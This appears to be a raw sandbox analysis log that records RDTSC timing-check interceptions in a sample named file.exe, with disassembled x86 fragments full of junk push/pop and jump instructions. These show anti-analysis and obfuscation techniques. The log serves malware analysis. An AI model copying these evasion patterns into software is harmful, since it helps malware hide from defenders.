Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6917 second address: 5E697E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8904F778A6h 0x00000008 jnc 00007F8904F778A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F8904F778B4h 0x00000015 pushad 0x00000016 pushad 0x00000017 jmp 00007F8904F778B7h 0x0000001c push edx 0x0000001d pop edx 0x0000001e jmp 00007F8904F778B8h 0x00000023 popad 0x00000024 pushad 0x00000025 jns 00007F8904F778A6h 0x0000002b jg 00007F8904F778A6h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6C30 second address: 5E6C5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F8904F6CED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8904F6CEE3h 0x00000015 jmp 00007F8904F6CEDAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6C5D second address: 5E6C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6C61 second address: 5E6C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8904F6CEE7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE981 second address: 5AE98B instructions: 0x00000000 rdtsc 0x00000002 js 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE98B second address: 5AE99C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEDAh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE99C second address: 5AE9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778AAh 0x00000009 jl 00007F8904F778A6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE9B8 second address: 5AE9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED8B1 second address: 5ED8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F8904F778B5h 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDD40 second address: 5EDD46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDF8F second address: 5EDF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDF96 second address: 5EDF9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDF9C second address: 5EDFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3A0F second address: 5B3A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3A13 second address: 5B3A2E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8904F778A6h 0x00000008 jmp 00007F8904F778B1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3A2E second address: 5B3A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3A34 second address: 5B3A71 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F8904F778AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F8904F778B0h 0x00000013 jbe 00007F8904F778A8h 0x00000019 push esi 0x0000001a pop esi 0x0000001b push ecx 0x0000001c jmp 00007F8904F778AAh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F16A6 second address: 5F16AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1EF9 second address: 5F1F21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B4h 0x00000007 jl 00007F8904F778B6h 0x0000000d jmp 00007F8904F778AAh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC135 second address: 5BC13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC13E second address: 5BC148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8904F778A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC148 second address: 5BC152 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8904F6CED6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC152 second address: 5BC162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jns 00007F8904F778A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC162 second address: 5BC166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC166 second address: 5BC175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC175 second address: 5BC179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC179 second address: 5BC18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC18E second address: 5BC1AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8904F6CEE6h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F44FE second address: 5F4503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4675 second address: 5F4679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4A1A second address: 5F4A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4AFC second address: 5F4B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4B00 second address: 5F4B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4B0A second address: 5F4B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5BC9 second address: 5F5BDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5BDA second address: 5F5BE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F8904F6CEDCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F64E3 second address: 5F656D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8904F778A6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F8904F778A8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 jnc 00007F8904F778ACh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F8904F778A8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b push 00000000h 0x0000004d push 00000000h 0x0000004f push ebp 0x00000050 call 00007F8904F778A8h 0x00000055 pop ebp 0x00000056 mov dword ptr [esp+04h], ebp 0x0000005a add dword ptr [esp+04h], 0000001Ah 0x00000062 inc ebp 0x00000063 push ebp 0x00000064 ret 0x00000065 pop ebp 0x00000066 ret 0x00000067 cmc 0x00000068 xchg eax, ebx 0x00000069 push eax 0x0000006a push edx 0x0000006b jnl 00007F8904F778A8h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F766C second address: 5F7681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEE0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8B6D second address: 5F8B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAD67 second address: 5FAD6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6DA4 second address: 5F6DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8904F778AFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAD6C second address: 5FAD72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F898C second address: 5F8990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB639 second address: 5FB63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9466 second address: 5F9480 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601F50 second address: 601F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB63D second address: 5FB647 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601F55 second address: 601F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8904F6CEE5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB647 second address: 5FB655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8904F778AAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602E80 second address: 602EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F8904F6CED8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 mov dword ptr [ebp+122D1F44h], esi 0x0000002b xchg eax, esi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push edx 0x00000030 pop edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60211F second address: 602132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602EB6 second address: 602EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602EBB second address: 602EEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8904F778AEh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8904F778B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602EEA second address: 602EFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602EFB second address: 602F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603020 second address: 603039 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jne 00007F8904F6CED6h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603039 second address: 603050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8904F778B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604DB5 second address: 604DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604DBB second address: 604DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604F0C second address: 604F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607DBA second address: 607DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609C8C second address: 609C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AC45 second address: 60AC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608E8A second address: 608EAE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F8904F6CEE9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ACFD second address: 60AD02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BD64 second address: 60BD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF5D second address: 60AF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CE5F second address: 60CE63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BF45 second address: 60BF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EE9B second address: 60EE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EE9F second address: 60EEA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E0E7 second address: 60E0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EFE6 second address: 60EFEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6122D8 second address: 6122DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6122DC second address: 6122EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6122EC second address: 612313 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F8904F6CEDBh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612313 second address: 612318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615EE3 second address: 615EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616018 second address: 61601E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61601E second address: 616035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnp 00007F8904F6CED6h 0x0000000d pop esi 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616035 second address: 616039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616039 second address: 616050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616050 second address: 616056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617AAC second address: 617ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEE6h 0x00000009 jmp 00007F8904F6CEE0h 0x0000000e popad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617ADA second address: 617AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8904F778A6h 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F8904F778ACh 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D300 second address: 61D30A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8904F6CEDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D4D5 second address: 61D4DB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D4DB second address: 61D4E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F8904F6CED6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D4E6 second address: 61D4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D5CD second address: 61D5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D5D1 second address: 441C83 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 05EA3C2Bh 0x00000011 jc 00007F8904F778A7h 0x00000017 cld 0x00000018 push dword ptr [ebp+122D0311h] 0x0000001e jmp 00007F8904F778ABh 0x00000023 call dword ptr [ebp+122D35A2h] 0x00000029 pushad 0x0000002a jmp 00007F8904F778ADh 0x0000002f xor eax, eax 0x00000031 cld 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 jns 00007F8904F778A7h 0x0000003c mov dword ptr [ebp+122D2B07h], eax 0x00000042 sub dword ptr [ebp+122D2671h], ebx 0x00000048 sub dword ptr [ebp+122D2671h], esi 0x0000004e mov esi, 0000003Ch 0x00000053 mov dword ptr [ebp+122D2671h], ebx 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d jns 00007F8904F778B1h 0x00000063 lodsw 0x00000065 mov dword ptr [ebp+122D2671h], ebx 0x0000006b mov dword ptr [ebp+122D2671h], esi 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 jmp 00007F8904F778B7h 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e mov dword ptr [ebp+122D2671h], esi 0x00000084 nop 0x00000085 push ebx 0x00000086 je 00007F8904F778ACh 0x0000008c js 00007F8904F778A6h 0x00000092 pop ebx 0x00000093 push eax 0x00000094 push eax 0x00000095 push edx 0x00000096 jmp 00007F8904F778ABh 0x0000009b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622131 second address: 622137 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622137 second address: 62213D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621490 second address: 6214A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F8904F6CED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F8904F6CED6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62160E second address: 62162D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778B9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
